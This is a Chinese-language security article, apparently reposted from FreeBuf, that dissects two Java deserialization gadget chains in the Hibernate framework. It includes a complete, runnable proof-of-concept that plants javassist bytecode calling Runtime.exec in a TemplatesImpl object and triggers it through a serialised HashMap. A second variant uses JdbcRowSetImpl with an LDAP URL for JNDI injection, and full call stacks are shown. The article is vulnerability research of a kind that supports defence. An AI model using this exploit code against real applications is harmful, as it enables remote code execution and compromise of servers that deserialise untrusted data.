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深究Java Hibernate框架下的Deserialization

作者：superLeeH
安全 漏洞
對(duì)于Hibernate的鏈子來(lái)說(shuō)，還是要看具體的版本，再次修改POC，自我感覺版本之間的關(guān)鍵方法差異有點(diǎn)大。

寫在前面

Hibernate是一個(gè)開源免費(fèi)的、基于 ORM 技術(shù)的 Java 持久化框架。通俗地說(shuō)，Hibernate 是一個(gè)用來(lái)連接和操作數(shù)據(jù)庫(kù)的 Java 框架，它最大的優(yōu)點(diǎn)是使用了 ORM 技術(shù)。

Hibernate 支持幾乎所有主流的關(guān)系型數(shù)據(jù)庫(kù)，只要在配置文件中設(shè)置好當(dāng)前正在使用的數(shù)據(jù)庫(kù)，程序員就不需要操心不同數(shù)據(jù)庫(kù)之間的差異。

分析

對(duì)于Hibernate框架的反序列化鏈主要是通過(guò)調(diào)用了任意的getter方法，結(jié)合TemplatesImpl這條鏈子進(jìn)行利用鏈的構(gòu)造。

BasicPropertyAccessor

在該框架中存在有org.hibernate.property.PropertyAccessor這個(gè)接口

image-20220922194203674.png

我們從這個(gè)注釋可以知道，定義了一個(gè)類的屬性值的相關(guān)策略

在接口中的定義了兩個(gè)方法，分別為getGettergetSetter方法

該接口的實(shí)現(xiàn)類是BasicPropertyAccessor

image-20220922194554244.png

定義了兩個(gè)實(shí)現(xiàn)類BasicGetter/ BasicSetter

主要來(lái)看看BasicGetter類

image-20220922194659906.png

首先，在其構(gòu)造方法中傳入了三個(gè)參數(shù)，分別是目標(biāo)類，目標(biāo)方法，目標(biāo)屬性。

同時(shí)關(guān)注get方法的實(shí)現(xiàn)，將會(huì)觸發(fā)目標(biāo)的method方法，這里就是漏洞點(diǎn)。

那么這個(gè)Getter又是從何而來(lái)的呢？

我們可以關(guān)注到BasciPropertyAccessor?類對(duì)getSetter方法的重寫

image-20220922195603913.png

在getSetter方法中將會(huì)調(diào)用createGetter?方法，進(jìn)而調(diào)用了getGetterOrNull方法。

image-20220922195713115.png

在該方法中，將會(huì)通過(guò)getterMethod?方法得到對(duì)應(yīng)屬性的getter方法名，如果存在的話，將會(huì)將其封裝為BasicGetter對(duì)象進(jìn)行返回。

那我們跟進(jìn)一下getterMethod方法

image-20220922195924588.png

首先在該方法中將會(huì)調(diào)用theClass.getDeclaredMethods?方法得到目標(biāo)類的所有存在的方法，之后遍歷這些方法，如果該方法參數(shù)個(gè)數(shù)不為零就跳過(guò)，獲取方法返回Bridge也會(huì)跳過(guò)，之后在獲取該方法名之后，判斷是否是get開頭，如果是，將會(huì)進(jìn)行比對(duì)處理之后返回這個(gè)方法。

就這樣得到了對(duì)應(yīng)的Getter方法，而想要調(diào)用，還需要使用他的get方法。

那么又是在哪里調(diào)用了其get方法的呢？

AbstractComponentTuplizer

答案就這個(gè)類中

類中存在一個(gè)getPropertyValue方法

image-20220922200916575.png

將會(huì)遍歷調(diào)用getters屬性中的get方法

我們看看getters屬性是個(gè)啥

image-20220922201045886.png

他是一個(gè)Getter對(duì)象數(shù)組，正好了，上面返回了一個(gè)Getter方法，可以反射寫入這個(gè)數(shù)組中，在getPropertyValue方法中調(diào)用其get方法，達(dá)到利用鏈的觸發(fā)。

但是值得注意的是AbstractComponentTuplizer是一個(gè)抽象類，我們尋找一下他的子類。

image-20220922201246317.png

存在有兩個(gè)子類，DynamicMapComponentTuplizer?類和PojoComponentTuplizer類一個(gè)是處理映射為Map對(duì)象，一個(gè)映射為JAVA實(shí)體。

我們可以發(fā)現(xiàn)在PojoComponentTuplizer?類中存在有g(shù)etPropertyValues方法。

image-20220922201648753.png

且能夠調(diào)用父類的getPropertyValues方法，

那么這個(gè)類方法又是在何處存在調(diào)用。

TypedValue

通過(guò)Uage的搜索，發(fā)現(xiàn)在org.hibernate.type.ComponentType#getPropertyValue存在有相關(guān)方法的調(diào)用。

image-20220922202954447.png

這條鏈子的關(guān)鍵點(diǎn)還是在org.hibernate.engine.spi.TypedValue類中。

image-20220922204747080.png

在其構(gòu)造方法中傳入了Type和Object對(duì)象的映射，在上面提到的ComponentType同樣實(shí)現(xiàn)了Type接口。

在構(gòu)造方法中除了賦值，還調(diào)用了initTransients方法。

image-20220922204934884.png

創(chuàng)建了一個(gè) ValueHolder 對(duì)象，并為其賦予了一個(gè)新的 DeferredInitializer 對(duì)象并重寫了initialize()方法。

之后將其賦予給hashCode屬性，我們可以關(guān)注到反序列化入口點(diǎn)，在hashCode?方法中調(diào)用了初始化賦值的hashCode屬性的getValue方法。

image-20220922205451606.png

即是調(diào)用了ValueHolder#getValue方法，

image-20220922205522695.png

在這里將會(huì)調(diào)用之前初始化時(shí)重寫的initialize方法，

image-20220922205642426.png

如果此時(shí)的type是ComponentType?就將會(huì)調(diào)用它的getHashCode方法，

image-20220922205750079.png

最終調(diào)用了getPropertyValue方法形成了利用鏈。

利用構(gòu)造

Hibernate1

同樣的，首先創(chuàng)建一個(gè)TemplatesImpl對(duì)象

//動(dòng)態(tài)創(chuàng)建字節(jié)碼
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后獲取對(duì)應(yīng)的getter。

// 創(chuàng)建 BasicGetter 實(shí)例，用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");

之后我們需要觸發(fā)getter的get方法，根據(jù)前面的分析，我們可以知道是通過(guò)調(diào)用org.hibernate.tuple.component.PojoComponentTuplizer類觸發(fā)get的調(diào)用。

所以我們創(chuàng)建一個(gè)實(shí)例并反射寫入數(shù)據(jù)。

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

完整的POC。

package pers.hibernate;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate1 {

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        //動(dòng)態(tài)創(chuàng)建字節(jié)碼
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
        SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 創(chuàng)建 GetterMethodImpl 實(shí)例，用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 創(chuàng)建 BasicGetter 實(shí)例，用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
        }

        // 創(chuàng)建 PojoComponentTuplizer 實(shí)例，用來(lái)觸發(fā) Getter 方法
        Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);

        // 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 創(chuàng)建 ComponentType 實(shí)例，用來(lái)觸發(fā) PojoComponentTuplizer 的 getPropertyValues 方法
        Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);

        // 反射將相關(guān)值寫入，滿足 ComponentType 的 getHashCode 調(diào)用所需條件
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);

        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);

        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});

        // 創(chuàng)建 TypedValue 實(shí)例，用來(lái)觸發(fā) ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 創(chuàng)建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射寫入，防止 put 時(shí)觸發(fā)
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);

        ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
        SerializeUtil.readObject(byteArrayOutputStream);
    }
}

解釋一下其中try catch句中是因?yàn)椋?/p>

在不同版本中，由于部分類的更新交替，利用的 Gadget 細(xì)節(jié)則不同。ysoserial 中也根據(jù)不同情況給出了需要修改的利用鏈：

使用org.hibernate.property.access.spi.GetterMethodImpl?替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping來(lái)對(duì) PojoComponentTuplizer 進(jìn)行封裝。

調(diào)用棧

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)

Hibernate2

上一條鏈?zhǔn)峭ㄟ^(guò)觸發(fā)TemplatesImpl類的getOutputProperties方法觸發(fā)的。

這條鏈就是通過(guò)JdbcRowSetImpl這條鏈觸發(fā)JNDI注入，細(xì)節(jié)在fastjson的利用鏈中就講過(guò)了，可以找一下我的文章。

因?yàn)槲覀兡軌蛴|發(fā)任意的getter方法，所以我們可以通過(guò)調(diào)用getDatabaseMetaData方法。

image-20220922225601722.png

進(jìn)而調(diào)用connect方法觸發(fā)漏洞，

image-20220922225623399.png

POC的構(gòu)造也很簡(jiǎn)單，只需要將前面創(chuàng)建TemplatesImpl對(duì)象的部分改為創(chuàng)建JdbcRowSetImpl 類對(duì)象。

JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

image-20220922231220788.png

調(diào)用鏈

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)

總結(jié)

對(duì)于Hibernate的鏈子來(lái)說(shuō)，還是要看具體的版本，再次修改POC，自我感覺版本之間的關(guān)鍵方法差異有點(diǎn)大。

Ref

https://su18.org/

責(zé)任編輯：武曉燕 來(lái)源： FreeBuf.COM
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